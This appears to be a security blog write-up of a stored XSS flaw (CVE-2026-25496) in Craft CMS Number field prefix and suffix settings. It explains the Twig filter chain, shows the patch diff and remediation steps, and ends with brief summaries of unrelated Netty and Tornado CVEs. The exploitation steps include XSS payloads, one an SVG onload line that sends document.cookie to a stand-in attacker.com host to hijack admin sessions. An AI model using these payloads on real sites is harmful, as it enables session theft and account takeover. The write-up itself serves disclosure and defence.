Feb 9, 2026·6 min read·22 visits
Improper output encoding in Craft CMS Number fields allows Stored XSS. Specifically, the prefix and suffix settings are parsed as Markdown without HTML encoding, allowing raw script injection. Fixed in 4.16.18 and 5.8.22.
A classic case of 'trusted input' going rogue, CVE-2026-25496 is a Stored Cross-Site Scripting (XSS) vulnerability lurking within the unsuspecting 'Number' field settings of Craft CMS. By neglecting to sanitize HTML tags when parsing Markdown in field prefixes and suffixes, the system allows administrators with schema permissions to plant persistent JavaScript payloads that execute whenever the field is rendered.
In the world of web exploitation, we often hunt for the complex, the obscure, or the blatantly negligent. But sometimes, the most effective bugs hide in the most mundane features. Enter the Number Field in Craft CMS. It’s the kind of feature you gloss over—it holds prices, quantities, or maybe a year. It’s data. It’s boring.
However, Craft CMS is known for its flexibility. When defining a Number field, an administrator can define a Prefix (like $) or a Suffix (like kg). To make things 'pretty', the developers allowed these little text snippets to be parsed as Markdown. Do you really need bold text in your currency symbol? Probably not. But feature creep is a security researcher's best friend.
The vulnerability here isn't in the number itself; it's in the decoration around it. Because the application assumed that administrators defining schema structure were trustworthy (and that Markdown parsers would behave), it opened a door. If you can control the schema, you can control the browser of anyone who interacts with that data.
Let's talk about Twig, the templating engine powering Craft CMS. Twig is generally secure by default because it automatically escapes output. If you try to print <script>, Twig prints <script>. Safe, boring, effective. To bypass this, developers use the |raw filter. This is essentially telling the compiler: "Trust me, I know what I'm doing, just dump the data."
The vulnerability stems from a specific chain of filters used in src/templates/_components/fieldtypes/Number/input.twig. The code took the user-defined prefix/suffix and ran it through a Markdown filter (|md) and then immediately piped it to |raw.
Here is the logic error: Markdown, by design, supports inline HTML. If you write <b>Hello</b> in Markdown, it renders as bold text. If you write <script>alert(1)</script>, a standard Markdown parser often treats it as valid HTML and passes it through. The developers used the |md filter to render the formatting but failed to tell the parser to encode HTML tags before rendering. The |raw filter at the end of the chain then stripped away Twig's last line of defense, serving the attacker's payload on a silver platter.
The fix is subtle but critical. It highlights the difference between "rendering markdown" and "rendering safe markdown".
Below is the diff from commit cb5fb0e979e72f315c9178fc031883d49527f513. Notice that the developers didn't remove the feature; they just tightened the leash on the Markdown parser.
--- a/src/templates/_components/fieldtypes/Number/input.twig
+++ b/src/templates/_components/fieldtypes/Number/input.twig
@@ -25,7 +25,7 @@
<div class="flex">
{% if hasPrefix %}
<div aria-hidden="true">
- {{ prefix|t('site')|md(inlineOnly=true)|raw }}
+ {{ prefix|t('site')|md(inlineOnly=true,encode=true)|raw }}
</div>
{% endif %}The Smoking Gun: The original code md(inlineOnly=true) told the parser "don't make block-level elements like paragraphs," but it didn't say "stop HTML tags."
The Patch: The addition of encode=true forces the Markdown parser to HTML-encode the input string before parsing it. If an attacker inputs <script>, it becomes <script> before the Markdown logic touches it. The |raw filter allows the generated HTML (like <strong> from **bold**) to pass, but the malicious injection is neutralized.
While this vulnerability requires high privileges (Admin), do not underestimate its utility for persistence or lateral movement within a team. If you have compromised a lower-level admin account with schema permissions, you can use this to trap the Super Admin.
Step 1: The Setup Log in as an administrator. Navigate to Settings > Fields. Create a new field of type Number (or edit an existing one that is widely used, like 'Price').
Step 2: The Injection Locate the "Prefix Text" setting. This is where we inject our payload. A simple PoC might look like this:
"><img src=x onerror=alert('XSS_By_Prefix')>Or, for a more stealthy approach using SVG (which often bypasses simple filters):
<svg/onload=fetch('//attacker.com?c='+document.cookie)>Step 3: The Trap Save the field. The database now stores this string.
Step 4: The Trigger
Wait. You don't need to do anything else. As soon as any other administrator (or potentially a frontend user if these fields are exposed in a specific way) views an entry that utilizes this number field, the browser renders the prefix. The |md filter parses it, the |raw filter outputs it, and the browser executes it. You now have their session cookies.
A common rebuttal to vulnerabilities like this is: "But you need to be an Admin to exploit it! If you're an Admin, you already own the site!"
Not necessarily. In modern CMS environments, "Admin" is rarely a binary state. You have content editors, site managers, and developers.
The remediation is straightforward: Update.
Patched Versions:
If you cannot update immediately, you can mitigate the risk by adhering to Craft CMS best practices:
allowAdminChanges to false in your config/general.php. This prevents anyone (even admins) from modifying field settings in the production environment, effectively closing the vector unless the attacker can modify the codebase/project config files directly.script-src 'self'). This won't fix the bug, but it will prevent the browser from executing the payload.CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Craft CMS Pixel & Tonic | >= 4.0.0-RC1, < 4.16.18 | 4.16.18 |
Craft CMS Pixel & Tonic | >= 5.0.0-RC1, < 5.8.22 | 5.8.22 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v4.0 | 4.8 (Medium) |
| Privileges Required | High (Admin) |
| Impact | Stored XSS / Session Hijacking |
| Vulnerable Component | Number Field Settings (Prefix/Suffix) |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
A state persistence vulnerability exists in Tornado's CurlAsyncHTTPClient component where pooled pycurl.Curl handles are reused across asynchronous requests without a complete state reset. Consequently, sensitive per-request configurations, such as client TLS certificates or proxy basic authentication credentials, persist on the shared handle. This behavior leads to subsequent requests leaking these credentials to unauthorized remote servers.
CVE-2026-48748 is a denial-of-service vulnerability in Netty's HTTP/3 codec (netty-codec-http3) occurring when QPACK dynamic tables are enabled but the blocked streams limit is not explicitly configured. A bug in limit checking and a memory leak in stream tracking allow unauthenticated remote attackers to exhaust the JVM heap memory and crash the server.
CVE-2026-50009 is a cryptographic design vulnerability in the Netty network application framework. Prior to version 4.2.15.Final, the framework's QUIC protocol implementation fails to cryptographically segregate the generated Connection IDs and the associated Stateless Reset Tokens. An on-path network attacker who sniffs traffic during a Connection ID rotation can extract secret token material from cleartext headers, enabling them to inject spoofed reset packets and terminate active connections.
A critical hostname verification bypass vulnerability exists in the Netty network application framework when configured as a TLS client. When a developer registers a custom plain X509TrustManager, Netty wraps it inside an X509TrustManagerWrapper to adapt it to the X509ExtendedTrustManager API. However, this wrapper discards the SSLEngine context, bypassing critical hostname checks. Because the wrapper is identified as an X509ExtendedTrustManager, standard cryptographic engines and Netty's OpenSSL wrappers do not re-wrap it, failing to execute any hostname validation. Consequently, clients silently accept certificates for any host, enabling unauthenticated Man-in-the-Middle (MitM) attacks.
An uncontrolled resource pre-allocation flaw in the Netty Redis codec module allows remote unauthenticated attackers to cause a denial of service (OutOfMemoryError) by sending a crafted Redis Serialization Protocol (RESP) array header.
CVE-2026-50020 is a medium-severity HTTP Request Smuggling/Response Smuggling vulnerability (CWE-444) within the Netty asynchronous network application framework. The flaw resides in Netty's HTTP codec implementation, specifically the HttpObjectDecoder class, which silently consumes arbitrary ISO control bytes preceding the first request line.